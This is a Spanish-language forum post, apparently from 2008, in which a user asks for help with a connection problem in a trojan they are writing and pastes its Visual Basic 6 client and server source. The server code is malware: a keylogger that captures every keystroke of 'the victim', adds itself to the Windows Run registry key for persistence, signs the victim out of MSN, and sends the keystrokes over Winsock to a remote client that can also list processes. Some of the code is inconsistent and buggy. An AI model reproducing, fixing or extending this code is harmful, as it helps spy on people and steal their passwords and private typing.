creando troyano...problema de conexion

ahh ke tonto...xD
CLIENTE:

Private Sub Command2_Click()
Form2.Show
End Sub

Private Sub Command5_Click()
Winsock1.Close
Winsock1.RemoteHost = Text1.Text
Winsock1.Connect
End Sub

Private Sub winsock1_connectionrequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
End Sub

Private Sub winsock1_close()
Winsock1.Close
Winsock1.Listen
Label3.Caption = "desconectado"
End Sub

Private Sub winsock1_connect()
Label3.Caption = "conectado "
End Sub

Private Sub command6_Click()
Open App.Path & "/" & "loger.txt" For Append As #1
Write #1, Form1.Text2.Text
Close #1
Form1.Text2.Text = ""
End Sub

Private Sub winsock1_dataArrival(ByVal bytestotal As Long)
Dim datos As String
Winsock1.GetData datos
Text2.Text = Text2.Text + datos
End Sub

SERVIDOR:
Private Declare Function Process32Next Lib "kernel32" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Function Process32First Lib "kernel32" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Function TerminarProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessID As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Processes(150) As Long

Private Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szExeFile As String * 260
End Type

Private Sub Form_Load()
Set MSN = New Messenger
MSN.Signout
Timer1.Interval = 1 'cada una milésima de Segundo se capta teclas
Timer2.Interval = 1 'cada 1 milésima de segundo se borra la caja text
Winsock1.Listen ' deja el programa esperando una conexión
WAClase = "VBE"
Set Objeto = CreateObject("WScript.Shell")
Objeto.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
App.TaskVisible = True
If App.PrevInstance = True Then 'si nos hemos ejecutado antes
Unload Me 'nos descargamos(no nos ejecytamos por decirlo asi,cerramos)esto es por si se ejecuta el server otra vez para que no haya errores
End If
End Sub

Private Sub Text2_Change()
Dim enviar As String
If Winsock1.State = sckConnected Then 'si es que esta establecida la conexión
enviar = Text2.Text 'se comienza a enviar los logers
Winsock1.SendData Text2.Text
End If
End Sub

Private Sub Timer1_Timer()
On Error Resume Next 'cualquier error no lo representa
Dim enviar As String
Dim x As Integer, I As Integer
For I = 33 To 124
x = GetAsyncKeyState(I)
If x = -32767 Then
Text2.Text = Chr(I) + enviar 'texto 2 = a teclaa precionada
End If
Next
x = GetAsyncKeyState(32) ' tecla 32 = al espacio
If x = -32767 Then
Text2.Text = " " 'lo reprecenta como un espacio
End If
End Sub

Private Sub Timer2_Timer()
Text2.Text = "" 'este timer es para que cuando la victima presione una tecla
'2veces se envia 2 veces :-P
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Winsock1.GetData datos ' recibe informacion
Text1.Text = "" ' despues al recibir otro texto s elimpia el text1
Text1.Text = Text1.Text + datos
On Error Resume Next
Dim RData As String, RData2 As String, Message() As String, I As Integer, intForLoop As Integer 'declaramos como siempre

conexion.GetData RData ' RData representa a toda la data mandada por el server
RData2 = Right$(RData, Len(RData) - 2) ' aca definimos el tipo de peticion

Select Case Left$(RData, 2) 'los 2 primeros dijitos que llegan en RData nos dan el Case de peticion
Case "01" ' acas esta la data de cuando la peticion de procesos o matar proceso sale bien, podemos llenar un level, etc para notificarnos
Case "12" ' aca llega la data de los procesos en ejecucion
ListView.ListItems.Clear ' limpiamos la lista
Message = Split(RData2, "|") 'definimos
intForLoop = Message(1) + 1 'definimos
For I = 2 To intForLoop
ListView.ListItems.Add.Text = Message(I) ' y lo agregamos a la lista
ListView.ListItems.Item(I - 1).SmallIcon = (Right$(Message(I), 3))
Next I
End Select
Exit Sub
End Sub

Private Sub winsock1_close()
Winsock1.Close
Winsock1.Listen
End Sub

Private Sub envcombo_click()
Dim enviar As String
enviar = combo1.texto
Winsock1.SendData enviar
End Sub

dede ya GRACIAS... Wink

	Bienvenido(a), Visitante. Favor de ingresar o registrarse. ¿Perdiste tu email de activación? - Octubre 13, 2008, 10:00:33